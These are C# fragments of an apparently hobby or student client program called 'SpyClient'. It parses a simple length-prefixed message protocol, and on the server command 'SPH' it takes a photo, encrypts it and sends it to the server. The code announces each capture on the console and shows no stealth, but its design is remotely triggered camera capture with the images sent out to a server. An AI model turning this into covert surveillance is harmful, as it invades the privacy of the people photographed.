private static void takePhoto() { Photo.capture(); Console.WriteLine("Photo taken!"); byte[] file = File.ReadAllBytes(Photo.fullFileName); byte[] message = encrypt(file, Encoding.ASCII.GetBytes(secret)); SpyClient.Send(clientSocket, message); }
static void Main(string[] args) { SpyClient client = new SpyClient(); client.startClient(); Console.WriteLine("Koniec programu"); Console.Read(); }
private static String handleReceivedMessage(String message) { byte[] bytes = Encoding.ASCII.GetBytes(message); int tmpValue, messageSize; String header = ""; byte[] nextChars = new byte[4]; try { Array.Copy(bytes, 0, nextChars, 0, sizeof(int)); Array.Reverse(nextChars); messageSize = BitConverter.ToInt32(nextChars, 0); header = message.Substring(4, 3); if (header == "NAT" || header == "FCK") { ; } else if (header == "SPH") { SpyClient.takePhoto(); } else { Array.Copy(bytes, sizeof(int) + header.Length, nextChars, 0, sizeof(int)); Array.Reverse(nextChars); tmpValue = BitConverter.ToInt32(nextChars, 0); if (header == "ROK") { SpyClient.userId = tmpValue; } else if (header == "AOK") { SpyClient.secret = message.Substring(2 * sizeof(int) + header.Length, tmpValue); } else { return(""); } } return(header); } catch (Exception e) { Console.WriteLine(e.ToString()); return(header); } }